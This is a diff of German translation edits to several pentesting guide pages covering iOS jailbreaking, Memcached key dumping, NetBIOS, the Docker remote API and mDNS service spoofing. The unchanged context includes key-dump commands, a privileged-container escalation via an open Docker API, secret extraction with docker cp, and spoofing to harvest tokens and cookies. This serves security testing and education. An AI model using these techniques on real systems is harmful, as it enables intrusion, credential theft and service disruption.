+Jailbreaking von iOS wird zunehmend schwieriger, da Apple Schwachstellen schnell patcht. **Das Downgrade von iOS** ist nur für eine begrenzte Zeit nach einer Veröffentlichung möglich, was Jailbreaking zu einer zeitkritischen Angelegenheit macht. Geräte, die für Sicherheitstests verwendet werden, sollten nicht aktualisiert werden, es sei denn, das Re-Jailbreaking ist garantiert.
 
 iOS-Updates werden durch einen **Challenge-Response-Mechanismus** (SHSH-Blobs) gesteuert, der die Installation nur für von Apple signierte Antworten ermöglicht. Dieser Mechanismus, bekannt als "Signing Window", schränkt die Möglichkeit ein, OTA-Firmware-Pakete zu speichern und später zu verwenden. Die [IPSW Downloads-Website](https://ipsw.me) ist eine Ressource, um aktuelle Signing Windows zu überprüfen.
 
@@ -99,7 +99,7 @@ Die Modifikation Ihres Geräts birgt Risiken, und Jailbreaking sollte mit Vorsic
 
 ### Vorteile und Risiken des Jailbreakings
 
-Jailbreaking **entfernt die vom OS auferlegte Sandboxing**, sodass Apps auf das gesamte Dateisystem zugreifen können. Diese Freiheit ermöglicht die Installation von nicht genehmigten Apps und den Zugriff auf mehr APIs. Für reguläre Benutzer wird Jailbreaking jedoch **nicht empfohlen** aufgrund potenzieller Sicherheitsrisiken und Instabilität des Geräts.
+Jailbreaking **entfernt die vom OS auferlegte Sandbox**, sodass Apps auf das gesamte Dateisystem zugreifen können. Diese Freiheit ermöglicht die Installation von nicht genehmigten Apps und den Zugriff auf mehr APIs. Für reguläre Benutzer wird Jailbreaking jedoch **nicht empfohlen** aufgrund potenzieller Sicherheitsrisiken und Instabilität des Geräts.
 
 ### **Nach dem Jailbreaking**
 
@@ -113,7 +113,7 @@ basic-ios-testing-operations.md
 **Mehrere Anwendungen versuchen zu erkennen, ob das Mobilgerät gejailbreakt ist, und in diesem Fall wird die Anwendung nicht ausgeführt.**
 
 - Nach dem Jailbreaking werden in iOS **Dateien und Ordner normalerweise installiert**, die durchsucht werden können, um festzustellen, ob das Gerät gejailbreakt ist.
-- Auf einem gejailbreakten Gerät erhalten Anwendungen **Lese-/Schreibzugriff auf neue Dateien** außerhalb des Sandboxes.
+- Auf einem gejailbreakten Gerät erhalten Anwendungen **Lese-/Schreibzugriff auf neue Dateien** außerhalb der Sandbox.
 - Einige **API** **Aufrufe** werden **anders reagieren**.
 - Das Vorhandensein des **OpenSSH**-Dienstes.
 - Der Aufruf von `/bin/sh` wird **1** anstelle von 0 zurückgeben.

src/network-services-pentesting/11211-memcache/README.md

@@ -6,7 +6,7 @@
 
 Von [wikipedia](https://en.wikipedia.org/wiki/Memcached):
 
-> **Memcached** (Aussprache: mem-cashed, mem-cash-dee) ist ein allgemeines verteiltes [Speichercaching](https://en.wikipedia.org/wiki/Memory_caching) System. Es wird häufig verwendet, um dynamische, datenbankgestützte Websites zu beschleunigen, indem Daten und Objekte im RAM zwischengespeichert werden, um die Anzahl der Zugriffe auf eine externe Datenquelle (wie eine Datenbank oder API) zu reduzieren.
+> **Memcached** (Aussprache: mem-cashed, mem-cash-dee) ist ein allgemeines verteiltes [Speichercaching](https://en.wikipedia.org/wiki/Memory_caching) System. Es wird häufig verwendet, um dynamische, datenbankgestützte Websites zu beschleunigen, indem Daten und Objekte im RAM zwischengespeichert werden, um die Anzahl der Lesevorgänge einer externen Datenquelle (wie einer Datenbank oder API) zu reduzieren.
 
 Obwohl Memcached SASL unterstützt, sind die meisten Instanzen **ohne Authentifizierung exponiert**.
 
@@ -55,11 +55,11 @@ msf > use auxiliary/scanner/memcached/memcached_amp #Check is UDP DDoS amplifica
 
 Im Bereich von memcache, einem Protokoll, das bei der Organisation von Daten nach Slabs hilft, gibt es spezifische Befehle zur Inspektion der gespeicherten Daten, jedoch mit bemerkenswerten Einschränkungen:
 
-1. Schlüssel können nur nach Slab-Klasse gedumpt werden, wobei Schlüssel ähnlicher Inhaltsgröße gruppiert werden.
+1. Schlüssel können nur nach Slab-Klasse ausgegeben werden, wobei Schlüssel ähnlicher Inhaltsgröße gruppiert werden.
 2. Es gibt eine Begrenzung von einer Seite pro Slab-Klasse, was 1 MB Daten entspricht.
 3. Diese Funktion ist inoffiziell und kann jederzeit eingestellt werden, wie in [community forums](https://groups.google.com/forum/?fromgroups=#!topic/memcached/1-T8I-RVGKM) besprochen.
 
-Die Einschränkung, nur 1 MB aus potenziell Gigabytes an Daten dumpen zu können, ist besonders signifikant. Diese Funktionalität kann jedoch dennoch Einblicke in die Nutzungsmuster der Schlüssel bieten, abhängig von den spezifischen Bedürfnissen. Für diejenigen, die weniger an den Mechaniken interessiert sind, zeigt ein Besuch im [tools section](https://lzone.de/cheat-sheet/memcached#tools) Hilfsprogramme für umfassendes Dumping. Alternativ wird der Prozess der Verwendung von telnet für die direkte Interaktion mit memcached-Setups unten beschrieben.
+Die Einschränkung, nur 1 MB aus potenziell Gigabytes an Daten ausgeben zu können, ist besonders signifikant. Diese Funktionalität kann jedoch dennoch Einblicke in die Nutzungsmuster von Schlüsseln bieten, abhängig von den spezifischen Bedürfnissen. Für diejenigen, die weniger an den Mechaniken interessiert sind, zeigt ein Besuch im [tools section](https://lzone.de/cheat-sheet/memcached#tools) Dienstprogramme für umfassende Dumps. Alternativ wird der Prozess der Verwendung von telnet für die direkte Interaktion mit memcached-Setups unten beschrieben.
 
 ### **How it Works**
 
@@ -107,9 +107,9 @@ END
 ```
 Diese Methode iteriert über Slab-Klassen, extrahiert und dumpft optional Schlüsselwerte.
 
-### **DUMPING MEMCACHE KEYS (VER 1.4.31+)**
+### **DUMPEN VON MEMCACHE-SCHLÜSSELN (VER 1.4.31+)**
 
-Mit der memcache-Version 1.4.31 und höher wird eine neue, sicherere Methode zum Dumpen von Schlüsseln in einer Produktionsumgebung eingeführt, die den nicht-blockierenden Modus nutzt, wie in den [release notes](https://github.com/memcached/memcached/wiki/ReleaseNotes1431) beschrieben. Dieser Ansatz erzeugt umfangreiche Ausgaben, daher wird empfohlen, den Befehl 'nc' zur Effizienz zu verwenden. Beispiele sind:
+Mit der memcache-Version 1.4.31 und höher wird eine neue, sicherere Methode zum Dumpen von Schlüsseln in einer Produktionsumgebung eingeführt, die den nicht-blockierenden Modus nutzt, wie in den [Release-Notizen](https://github.com/memcached/memcached/wiki/ReleaseNotes1431) beschrieben. Dieser Ansatz erzeugt umfangreiche Ausgaben, daher die Empfehlung, den Befehl 'nc' zur Effizienz zu verwenden. Beispiele sind:
 ```bash
 echo 'lru_crawler metadump all' | nc 127.0.0.1 11211 | head -1
 echo 'lru_crawler metadump all' | nc 127.0.0.1 11211 | grep ee6ba58566e234ccbbce13f9a24f9a28
@@ -125,19 +125,19 @@ Table [from here](https://lzone.de/blog).
 | Ruby                  | [einfaches Skript](https://gist.github.com/1365005)                                                                                  | Gibt Schlüsselnamen aus.                                                                                                                                                      |                                                                            |         |
 | Perl                  | [memdump](https://search.cpan.org/~dmaki/Memcached-libmemcached-0.4202/src/libmemcached/docs/memdump.pod)                         | Tool im CPAN-Modul                                                                                                                                                    | [Memcached-libmemcached](https://search.cpan.org/~dmaki/Memcached-libmemc) | ached/) |
 | PHP                   | [memcache.php](http://livebookmark.net/journal/2008/05/21/memcachephp-stats-like-apcphp/)                                         | Memcache-Monitoring-GUI, die auch das Dumpen von Schlüsseln ermöglicht                                                                                                                  |                                                                            |         |
-| libmemcached          | [peep](http://blog.evanweaver.com/2009/04/20/peeping-into-memcached/)                                                             | **Friert deinen Memcached-Prozess ein!!!** Sei vorsichtig, wenn du dies in der Produktion verwendest. Wenn du es trotzdem verwendest, kannst du die 1MB-Beschränkung umgehen und wirklich **alle** Schlüssel dumpen. |                                                                            |         |
+| libmemcached          | [peep](http://blog.evanweaver.com/2009/04/20/peeping-into-memcached/)                                                             | **Friert Ihren Memcached-Prozess ein!!!** Seien Sie vorsichtig, wenn Sie dies in der Produktion verwenden. Wenn Sie es dennoch verwenden, können Sie die 1MB-Beschränkung umgehen und wirklich **alle** Schlüssel dumpen. |                                                                            |         |
 
 ## Troubleshooting <a href="#troubleshooting" id="troubleshooting"></a>
 
 ### 1MB Datenlimit <a href="#1mb-data-limit" id="1mb-data-limit"></a>
 
-Beachte, dass vor memcached 1.4 keine Objekte größer als 1MB gespeichert werden können, aufgrund der standardmäßigen maximalen Slab-Größe.
+Beachten Sie, dass vor memcached 1.4 keine Objekte größer als 1MB gespeichert werden können, da die standardmäßige maximale Slab-Größe dies nicht zulässt.
 
-### Setze niemals ein Timeout > 30 Tage! <a href="#never-set-a-timeout--30-days" id="never-set-a-timeout--30-days"></a>
+### Setzen Sie niemals einen Timeout > 30 Tage! <a href="#never-set-a-timeout--30-days" id="never-set-a-timeout--30-days"></a>
 
-Wenn du versuchst, einen Schlüssel mit einem Timeout größer als das erlaubte Maximum zu „setzen“ oder „hinzuzufügen“, erhältst du möglicherweise nicht das, was du erwartest, da memcached den Wert dann als Unix-Zeitstempel behandelt. Wenn der Zeitstempel auch in der Vergangenheit liegt, wird überhaupt nichts getan. Dein Befehl wird stillschweigend fehlschlagen.
+Wenn Sie versuchen, einen Schlüssel mit einem Timeout größer als das erlaubte Maximum zu „setzen“ oder „hinzuzufügen“, erhalten Sie möglicherweise nicht das, was Sie erwarten, da memcached den Wert dann als Unix-Zeitstempel behandelt. Wenn der Zeitstempel auch in der Vergangenheit liegt, wird überhaupt nichts getan. Ihr Befehl wird stillschweigend fehlschlagen.
 
-Wenn du also die maximale Lebensdauer nutzen möchtest, gib 2592000 an. Beispiel:
+Wenn Sie also die maximale Lebensdauer verwenden möchten, geben Sie 2592000 an. Beispiel:
 ```
 set my_key 0 2592000 1
 1

src/network-services-pentesting/137-138-139-pentesting-netbios.md

@@ -27,7 +27,7 @@ sudo nmap -sU -sV -T4 --script nbstat.nse -p137 -Pn -n <IP>
 ```
 ### Datagram-Verteilungsdienst
 
-NetBIOS-Datagramme ermöglichen verbindungslose Kommunikation über UDP und unterstützen direkte Nachrichtenübermittlung oder Broadcasts an alle Netzwerknamen. Dieser Dienst verwendet den Port **138/udp**.
+NetBIOS-Datagramme ermöglichen verbindungslose Kommunikation über UDP und unterstützen direktes Messaging oder Broadcasting an alle Netzwerknamen. Dieser Dienst verwendet den Port **138/udp**.
 ```bash
 PORT    STATE         SERVICE     VERSION
 138/udp open|filtered netbios-dgm

src/network-services-pentesting/2375-pentesting-docker.md

@@ -41,9 +41,9 @@ docker system prune -a
 ```
 #### Containerd
 
-**Containerd** wurde speziell entwickelt, um die Bedürfnisse von Containerplattformen wie **Docker und Kubernetes** zu bedienen. Es zielt darauf ab, **die Ausführung von Containern** über verschiedene Betriebssysteme hinweg zu vereinfachen, einschließlich Linux, Windows, Solaris und mehr, indem es betriebssystemspezifische Funktionen und Systemaufrufe abstrahiert. Das Ziel von Containerd ist es, nur die wesentlichen Funktionen einzuschließen, die von seinen Benutzern benötigt werden, und unnötige Komponenten zu vermeiden. Es wird jedoch anerkannt, dass es eine Herausforderung ist, dieses Ziel vollständig zu erreichen.
+**Containerd** wurde speziell entwickelt, um die Bedürfnisse von Containerplattformen wie **Docker und Kubernetes** zu erfüllen. Es zielt darauf ab, **die Ausführung von Containern** über verschiedene Betriebssysteme hinweg zu vereinfachen, einschließlich Linux, Windows, Solaris und mehr, indem es betriebssystemspezifische Funktionen und Systemaufrufe abstrahiert. Das Ziel von Containerd ist es, nur die wesentlichen Funktionen einzuschließen, die von seinen Benutzern benötigt werden, und unnötige Komponenten zu vermeiden. Es wird jedoch anerkannt, dass es eine Herausforderung ist, dieses Ziel vollständig zu erreichen.
 
-Eine wichtige Designentscheidung ist, dass **Containerd kein Networking** behandelt. Networking wird als ein kritisches Element in verteilten Systemen betrachtet, mit Komplexitäten wie Software Defined Networking (SDN) und Dienstentdeckung, die sich von einer Plattform zur anderen erheblich unterscheiden. Daher überlässt Containerd die Netzwerkaspekte den Plattformen, die es unterstützt.
+Eine wichtige Designentscheidung ist, dass **Containerd kein Networking** behandelt. Networking wird als ein kritisches Element in verteilten Systemen betrachtet, mit Komplexitäten wie Software Defined Networking (SDN) und Dienstentdeckung, die von einer Plattform zur anderen erheblich variieren. Daher überlässt Containerd die Netzwerkaspekte den Plattformen, die es unterstützt.
 
 Während **Docker Containerd nutzt**, um Container auszuführen, ist es wichtig zu beachten, dass Containerd nur eine Teilmenge der Funktionen von Docker unterstützt. Insbesondere fehlen Containerd die Netzwerkmanagementfähigkeiten, die in Docker vorhanden sind, und es unterstützt nicht die direkte Erstellung von Docker-Schwärmen. Diese Unterscheidung hebt die fokussierte Rolle von Containerd als Container-Laufzeitumgebung hervor, die spezialisiertere Funktionen an die Plattformen delegiert, mit denen es integriert ist.
 ```bash
@@ -71,9 +71,9 @@ Podman ist so konzipiert, dass es mit der Docker-API kompatibel ist, was die Ver
 
 - **Architektur**: Im Gegensatz zum Client-Server-Modell von Docker mit einem Hintergrund-Daemon arbeitet Podman ohne Daemon. Dieses Design bedeutet, dass Container mit den Rechten des Benutzers ausgeführt werden, der sie startet, was die Sicherheit erhöht, da kein Root-Zugriff erforderlich ist.
 - **Systemd-Integration**: Podman integriert sich mit **systemd**, um Container zu verwalten, was die Containerverwaltung über systemd-Einheiten ermöglicht. Dies steht im Gegensatz zur Verwendung von systemd durch Docker, das hauptsächlich zur Verwaltung des Docker-Daemon-Prozesses dient.
-- **Rootlose Container**: Ein entscheidendes Merkmal von Podman ist die Fähigkeit, Container unter den Rechten des initiierenden Benutzers auszuführen. Dieser Ansatz minimiert die Risiken im Zusammenhang mit Containerverletzungen, indem sichergestellt wird, dass Angreifer nur die privilegien des kompromittierten Benutzers erlangen, nicht jedoch Root-Zugriff.
+- **Rootlose Container**: Ein entscheidendes Merkmal von Podman ist die Fähigkeit, Container unter den Rechten des initiierenden Benutzers auszuführen. Dieser Ansatz minimiert die Risiken im Zusammenhang mit Containerverletzungen, indem sichergestellt wird, dass Angreifer nur die Rechte des kompromittierten Benutzers und nicht den Root-Zugriff erlangen.
 
-Der Ansatz von Podman bietet eine sichere und flexible Alternative zu Docker, die das Management von Benutzerprivilegien und die Kompatibilität mit bestehenden Docker-Workflows betont.
+Der Ansatz von Podman bietet eine sichere und flexible Alternative zu Docker, die das Management von Benutzerrechten und die Kompatibilität mit bestehenden Docker-Workflows betont.
 
 > [!TIP]
 > Beachten Sie, dass Podman darauf abzielt, die gleiche API wie Docker zu unterstützen, sodass Sie die gleichen Befehle mit Podman wie mit Docker verwenden können, wie zum Beispiel:
@@ -85,9 +85,9 @@ Der Ansatz von Podman bietet eine sichere und flexible Alternative zu Docker, di
 > podman ls
 > ```
 
-### Grundinformationen
+### Grundlegende Informationen
 
-Die Remote-API läuft standardmäßig auf Port 2375, wenn sie aktiviert ist. Der Dienst erfordert standardmäßig keine Authentifizierung, was es einem Angreifer ermöglicht, einen privilegierten Docker-Container zu starten. Durch die Verwendung der Remote-API kann man Hosts / (Root-Verzeichnis) an den Container anhängen und Dateien der Umgebung des Hosts lesen/schreiben.
+Die Remote-API läuft standardmäßig auf Port 2375, wenn sie aktiviert ist. Der Dienst erfordert standardmäßig keine Authentifizierung, was es einem Angreifer ermöglicht, einen privilegierten Docker-Container zu starten. Durch die Verwendung der Remote-API kann man Hosts / (Wurzelverzeichnis) an den Container anhängen und Dateien der Umgebung des Hosts lesen/schreiben.
 
 **Standardport:** 2375
 ```
@@ -134,10 +134,10 @@ docker-init:
 Version:          0.18.0
 GitCommit:        fec3683
 ```
-Wenn Sie die **remote docker API mit dem `docker` Befehl** **kontaktieren** können, können Sie **jede der** **docker** [**Befehle, die zuvor** kommentiert wurden](2375-pentesting-docker.md#basic-commands) ausführen, um mit dem Dienst zu interagieren.
+Wenn Sie **die Remote-Docker-API mit dem `docker`-Befehl kontaktieren können**, können Sie **jede der** **docker** [**Befehle, die zuvor** kommentiert wurden](2375-pentesting-docker.md#basic-commands), um mit dem Dienst zu interagieren.
 
 > [!TIP]
-> Sie können `export DOCKER_HOST="tcp://localhost:2375"` verwenden und die Verwendung des `-H` Parameters mit dem docker Befehl **vermeiden**.
+> Sie können `export DOCKER_HOST="tcp://localhost:2375"` und **vermeiden**, den `-H`-Parameter mit dem Docker-Befehl zu verwenden.
 
 **Schnelle Privilegieneskalation**
 ```bash
@@ -206,7 +206,7 @@ Wenn Sie sich auf einem Host befinden, der Docker verwendet, können Sie [**dies
 docker ps [| grep <kubernetes_service_name>]
 docker inspect <docker_id>
 ```
-Überprüfen Sie **env** (Abschnitt der Umgebungsvariablen) auf Geheimnisse und Sie könnten finden:
+Überprüfen Sie **env** (Abschnitt der Umgebungsvariablen) auf Geheimnisse, und Sie könnten finden:
 
 - Passwörter.
 - IPs.
@@ -226,7 +226,7 @@ docker cp <docket_id>:/etc/<secret_01> <secret_01>
 - `./docker-bench-security.sh`
 - Sie können das Tool [https://github.com/kost/dockscan](https://github.com/kost/dockscan) verwenden, um Ihre aktuelle Docker-Installation zu überprüfen.
 - `dockscan -v unix:///var/run/docker.sock`
-- Sie können das Tool [https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained) verwenden, um die Berechtigungen zu überprüfen, die ein Container hat, wenn er mit verschiedenen Sicherheitsoptionen ausgeführt wird. Dies ist nützlich, um die Auswirkungen der Verwendung bestimmter Sicherheitsoptionen beim Ausführen eines Containers zu kennen:
+- Sie können das Tool [https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained) verwenden, um die Berechtigungen zu überprüfen, die ein Container hat, wenn er mit verschiedenen Sicherheitsoptionen ausgeführt wird. Dies ist nützlich, um die Auswirkungen der Verwendung einiger Sicherheitsoptionen beim Ausführen eines Containers zu kennen:
 - `docker run --rm -it r.j3ss.co/amicontained`
 - `docker run --rm -it --pid host r.j3ss.co/amicontained`
 - `docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained`
@@ -262,7 +262,7 @@ docker cp <docket_id>:/etc/<secret_01> <secret_01>
 #### Protokollierung verdächtiger Aktivitäten
 
 - Sie können das Tool [https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco) verwenden, um **verdächtiges Verhalten in laufenden Containern zu erkennen**.
-- Beachten Sie im folgenden Abschnitt, wie **Falco ein Kernel-Modul kompiliert und einfügt**. Danach lädt es die Regeln und **beginnt mit der Protokollierung verdächtiger Aktivitäten**. In diesem Fall hat es 2 privilegierte Container erkannt, die gestartet wurden, einer davon mit einer sensiblen Einbindung, und nach einigen Sekunden wurde erkannt, wie eine Shell in einem der Container geöffnet wurde.
+- Beachten Sie im folgenden Abschnitt, wie **Falco ein Kernel-Modul kompiliert und einfügt**. Danach lädt es die Regeln und **beginnt mit der Protokollierung verdächtiger Aktivitäten**. In diesem Fall hat es 2 privilegierte Container erkannt, die gestartet wurden, einen davon mit einer sensiblen Einbindung, und nach einigen Sekunden wurde erkannt, wie eine Shell innerhalb eines der Container geöffnet wurde.
 ```bash
 docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco
 * Setting up /usr/src links from host

src/network-services-pentesting/5353-udp-multicast-dns-mdns.md

@@ -69,7 +69,7 @@ sudo python3 pholus3.py <iface> -afre -stimeout 1000
 ### Service-Spoofing und Identitätsdiebstahl (MitM)
 
 Geben Sie beworbene DNS-SD-Dienste (Drucker, AirPlay, HTTP, Dateifreigaben) vor, um Clients dazu zu bringen, sich mit Ihnen zu verbinden. Dies ist besonders nützlich, um:
-- Dokumente zu erfassen, indem _ipp._tcp oder _printer._tcp gefälscht werden.
+- Dokumente zu erfassen, indem _ipp._tcp oder _printer._tcp vorgetäuscht wird.
 - Clients zu HTTP/HTTPS-Diensten zu locken, um Tokens/Cookies zu sammeln oder Payloads zu liefern.
 - Mit NTLM-Relay-Techniken zu kombinieren, wenn Windows-Clients Authentifizierung zu gefälschten Diensten aushandeln.
 
@@ -100,8 +100,8 @@ Auch sehen Sie generische LLMNR/NBNS/mDNS/WPAD-Spoofing- und Anmeldeerfassungs-/
 
 ### Hinweise zu aktuellen Implementierungsproblemen (nützlich für DoS/Persistenz während Engagements)
 
-- Avahi reachable-assertion und D-Bus-Absturzfehler (2023) können den avahi-daemon auf Linux-Distributionen beenden (z.B. CVE-2023-38469..38473, CVE-2023-1981), was die Dienstentdeckung auf Zielhosts bis zum Neustart stört.
+- Avahi reachable-assertion und D-Bus Absturzfehler (2023) können den avahi-daemon auf Linux-Distributionen beenden (z.B. CVE-2023-38469..38473, CVE-2023-1981), was die Dienstentdeckung auf Zielhosts bis zum Neustart stört.
-- Cisco IOS XE Wireless LAN Controller mDNS-Gateway DoS (2024, CVE-2024-20303) ermöglicht es angrenzenden Angreifern, die CPU stark zu belasten und APs zu trennen. Wenn Sie auf ein mDNS-Gateway zwischen VLANs stoßen, seien Sie sich seiner Stabilität bei fehlerhaften oder hochfrequenten mDNS-Anfragen bewusst.
+- Cisco IOS XE Wireless LAN Controller mDNS Gateway DoS (2024, CVE-2024-20303) ermöglicht es angrenzenden Angreifern, die CPU stark zu belasten und APs zu trennen. Wenn Sie auf ein mDNS-Gateway zwischen VLANs stoßen, seien Sie sich seiner Stabilität bei fehlerhaften oder hochfrequenten mDNS-Anfragen bewusst.
 
 ## Defensive Überlegungen und OPSEC
 
@@ -111,7 +111,7 @@ Auch sehen Sie generische LLMNR/NBNS/mDNS/WPAD-Spoofing- und Anmeldeerfassungs-/
 ```
 HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0 (DWORD)
 ```
-- In verwalteten Umgebungen deaktivieren Sie die integrierte Regel „mDNS (UDP-In)“ der Windows Defender Firewall (mindestens im Domänenprofil), um die eingehende mDNS-Verarbeitung zu verhindern und gleichzeitig die Home-/Roaming-Funktionalität zu erhalten.
+- In verwalteten Umgebungen deaktivieren Sie die integrierte Regel „mDNS (UDP-In)“ der Windows Defender Firewall (mindestens im Domänenprofil), um die eingehende mDNS-Verarbeitung zu verhindern und gleichzeitig die Home/Roaming-Funktionalität zu erhalten.
 - Bei neueren Windows 11-Versionen/GPO-Vorlagen verwenden Sie die Richtlinie „Computer Configuration > Administrative Templates > Network > DNS Client > Configure multicast DNS (mDNS) protocol“ und setzen Sie sie auf Deaktiviert.
 - Linux (Avahi):
 - Schränken Sie das Veröffentlichen ein, wenn es nicht benötigt wird: setzen Sie `disable-publishing=yes` und beschränken Sie Schnittstellen mit `allow-interfaces=` / `deny-interfaces=` in `/etc/avahi/avahi-daemon.conf`.
@@ -133,7 +133,7 @@ sudo python3 pholus3.py <iface> --request
 # Reverse mDNS sweep of a subnet
 sudo python3 pholus3.py <iface> -rdns_scanning 192.168.2.0/24
 ```
-- bettercap zerogod: entdecken, speichern, bewerben und mDNS/DNS-SD-Dienste imitieren (siehe Beispiele oben).
+- bettercap zerogod: entdecken, speichern, bewerben und imitieren von mDNS/DNS-SD-Diensten (siehe Beispiele oben).
 
 ## Spoofing/MitM